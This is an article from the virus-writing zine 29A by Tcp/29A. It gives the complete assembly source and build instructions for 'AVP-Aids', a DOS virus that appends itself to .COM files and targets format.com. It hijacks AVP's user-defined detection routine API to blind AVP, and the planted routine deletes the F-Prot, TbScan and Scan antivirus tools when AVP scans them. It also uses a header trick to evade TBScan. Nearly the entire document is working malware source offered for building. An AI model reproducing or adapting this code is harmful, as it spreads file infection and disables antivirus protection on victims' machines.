Copy Link
Add to Bookmark
Report
29A Issue 01 05 06
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; AVP-Aids, ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; AVP is probably the best antivirus nowadays, but it's the most easily
; foolable too :) One of its best advantages is that the user himself is
; able to write his own detection and disinfection routines for any new
; virus he may find. But a virus author could use that facilities to
; write a virus, don't you think? :)
;
; All we need to have is the routine editor (AVPRO) which is included in
; the registrated version of AVP (2.1 and above), or the -older- one in-
; cluded in the shareware version of AVP 2.0, which is the one i used.
;
; This routine editor gives us a lot of functions and structures we can
; call. For more info on this, read their definitions in a file named
; DLINK.H which is included in AVP.
;
; Having access to the vectors of those functions, we may either change
; or redirect them as a normal virus does with the standard interrupt
; vectors. We could write trojans, droppers, a stealth routine, and even
; a whole virus... imagination is the only limit you have ;)
;
; As an example of this, i wrote a simple virus which i named AVP-Aids,
; because it works in the same way as the known disease does:
;
; - It destroys the organism defenses: deletes F-Prot, TbScan and Scan
; when AVP tries to scan them.
; - Favours the appearing of opportunist diseases: AVP won't detect any
; virus (only a few using it heuristic scanner), so any virus, though
; being a super-old one, will be able to infect the system.
;
; I recommend the reading of the file USERGUID.DOC which is included in
; the AVP pack for a better comprehension about the way AVP-Aids works.
;
; For getting a working dropper of AVP-Aids, first compile the next two
; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm).
;
; ÄÄÄÄ File: AVP_DEC.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aids_decode segment byte public 'CODE'
assume cs:aids_decode
_decode proc far
aids proc far
push ds
push bp
mov bp,seg _Page_A ; Get AVP's data segment
mov ds,bp
les di,ds:_Page_A ; Get pointer to Page_A
mov cx,400h ; Length of Page
push cx
mov al,1 ; If al=0 then AVP detects the Win95.Boza.A
; in a high number of files... rules :-DDD
rep stosb ; Clear Page_A
les di,ds:_Page_B
pop cx
push cx
rep stosb ; Clear Page_B
les di,ds:_Header
pop cx
rep stosb ; Clear Header
push ds
pop es
lds si,ds:_File_Name ; File scanned
lodsw
cmp ax,'-f' ; Check for F-*.*
je del_file
cmp ax,'bt' ; Check for TBSCAN
jne check_sc
lodsw
check_sc:
cmp ax,'cs' ; Check for SCAN
jne no_scan
lodsw
cmp ax,'na'
jne no_scan
del_file:
push es
pop ds
lds dx,ds:_File_Full_Name
mov ah,41h
int 21h ; Delete file (F-Prot, Scan, TBScan)
no_scan:
pop bp
pop ds
xor ax,ax
retf ; Return to AVP (AX==0 <-> RCLEAN)
aids endp
_decode endp
aids_decode ends
public _decode
public aids
extrn _Page_A:dword
extrn _Page_B:dword
extrn _Header:dword
extrn _File_Name:dword
extrn _File_Full_Name:dword
end
; ÄÄÄÄ EOF: AVP_DEC.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; ÄÄÄÄ File: AVP_JMP.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aids_jmp segment byte public 'CODE'
assume cs:aids_jmp
_jmp proc far
call far ptr aids ; call the aids procedure
retf ; Return to AVP
_jmp endp
aids_jmp ends
public _jmp
extrn aids:far
end
; ÄÄÄÄ EOF: AVP_JMP.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Now that we got their corresponding OBJ files, we load AVPRO and edit
; a new viral database which we'll name AVP_AIDS.AVB. Add a File regis-
; ter, and write the name and the commentary you want, it doesn't mind.
; Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept
; the register.
;
; Because the second OBJ file makes a call to a procedure of the first
; one, we will need AVP to load in memory the database we just created.
; For this we must save this base and add it to the active ones by pres-
; sing F4. Once we have done this, we must edit again AVP_AIDS.AVB and
; add a jmp register. Now link AVP_JMP.OBJ as an external routine, and
; if everything is right we'll be able to save and exit.
;
; After doing all this, we must compile the virus itself: for doing it,
; we must modify the database length equ (length_aids) with the correct
; value and follow the next steps:
;
; tasm /m avp_aids.asm
; tlink avp_aids.obj
; exe2bin avp_aids.exe avp_aids.com
; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com
;
; As *all_this* is quite hard to do, Mister Sandman has included a fully
; compiled second generation of this virus in \FILES :)
;
; ÄÄÄÄ File: AVP_AIDS.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Name: AVP-Aids
; Author: Tcp / 29A
; When: 6-April-96 : 1st implementation
; November-96: Now doesn't hang AVP 2.2x
;
; Where: Spain
; Comments: A simple and lame virus to demostrate the
; AVPRO API capabilities... to make virii... ;)
; Also fools TBAV... (except this first generation)
LENGTH_AIDS equ 590 ; Place here the length of your base
avp_aids segment byte public
assume cs:avp_aids, ds:avp_aids, ss:avp_aids
org 0
start:
call get_delta
next:
avp_set db 'AVp.SeT',0
base db 'KRN386.AVB',13,10
f_base db 'kRn386.aVb',0
f_mask db '*.cOm',0
_format db 'c:\DoS\fORmaT.cOM',0
six db 0cdh,20h,?,?,?,? ; Original bytes
jmp_vir db 'PK' ; Fools TBScan
pop bx ; Fix ('PK'= push ax, dec bx)
db 0e9h ; jmp
ofs_vir dw ?
db '[AVP-Aids, Tcp / 29A]'
get_delta:
mov di,100h
pop bp
push di
sub bp,offset(next) ; Get delta-offset
mov di,100h
push di
lea si,[bp+six]
movsw
movsw
movsw ; Restore infected file
mov ah,2fh
int 21h ; Get DTA
push es
push bx
lea dx,[bp+offset(dta)]
mov ah,1ah
int 21h ; Set DTA
mov ah,4eh
xor cx,cx
lea dx,[bp+f_mask]
int 21h ; Find-first *.com
jc check_for_format
lea dx,[bp+offset(dta)+1eh]
call infect_file
check_for_format:
lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com
call infect_file
mov ax,3d00h ; Search for avp.set
lea dx,[bp+avp_set]
int 21h
jc exec_host
xchg ax,bx
mov ah,3fh
lea dx,[bp+dta]
mov cx,666h ;-)
int 21h
push ax ; length(AVP.SET)
mov ah,3eh
int 21h ; Close file
mov ah,3ch
xor cx,cx
lea dx,[bp+f_base]
int 21h ; Create krn386.avb (viral database)
xchg ax,bx
mov ah,40h
push ax
lea dx,[bp+base]
mov cx,offset(f_base)-offset(base)
int 21h ; Write base name in file
pop ax
lea dx,[bp+dta]
pop cx
int 21h ; Write rest of AVP.SET
mov ah,3eh
int 21h
mov ah,41h
lea dx,[bp+avp_set]
int 21h ; Delete AVP.SET
mov ah,56h
mov di,dx
lea dx,[bp+f_base]
int 21h ; Rename krn386.avb to AVP.SET
mov ah,3ch
xor cx,cx
int 21h ; Reset krn386.avb
xchg ax,bx
mov ah,40h
lea dx,[bp+aids_base]
mov cx,LENGTH_AIDS
int 21h ; Write the AVP-AIDS base
mov ah,3eh
int 21h
exec_host:
pop dx
pop ds
mov ah,1ah
int 21h ; Restore DTA
push cs
push cs
pop ds
pop es
ret
infect_file:
mov ax,3d02h
int 21h ; Open
jc no_file
xchg ax,bx
mov ah,3fh
mov cx,6
lea dx,[bp+offset(six)]
int 21h ; Read 6 bytes
cmp ax,cx ; File >6 bytes?
jne close_file ; No? ten jmp
cmp word ptr [bp+six],'ZM' ; EXE file but .com extension?
je close_file ; Yes? then jmp
cmp word ptr [bp+six],'KP' ; Already infected?
je close_file ; Yes? then jmp
mov ax,4202h
cwd
xor cx,cx
int 21h ; Go end
mov ah,40h
mov dx,bp
mov cx,offset(vir_end)
int 21h ; Write virus
mov ax,4200h
cwd
xor cx,cx
int 21h ; Go start
mov ax,[bp+offset(dta)+1ah] ; File size
sub ax,6
mov [bp+ofs_vir],ax
mov ah,40h
lea dx,[bp+jmp_vir]
mov cx,6
int 21h ; Write jump to virus
mov ax,5701h
mov cx,[bp+offset(dta)+16h] ; Time
mov dx,[bp+offset(dta)+18h] ; Date
int 21h ; Set time/date to original
close_file:
mov ah,3eh
int 21h ; Close file
no_file:
ret
aids_base db LENGTH_AIDS dup(?)
vir_end:
dta:
avp_aids ends
end start
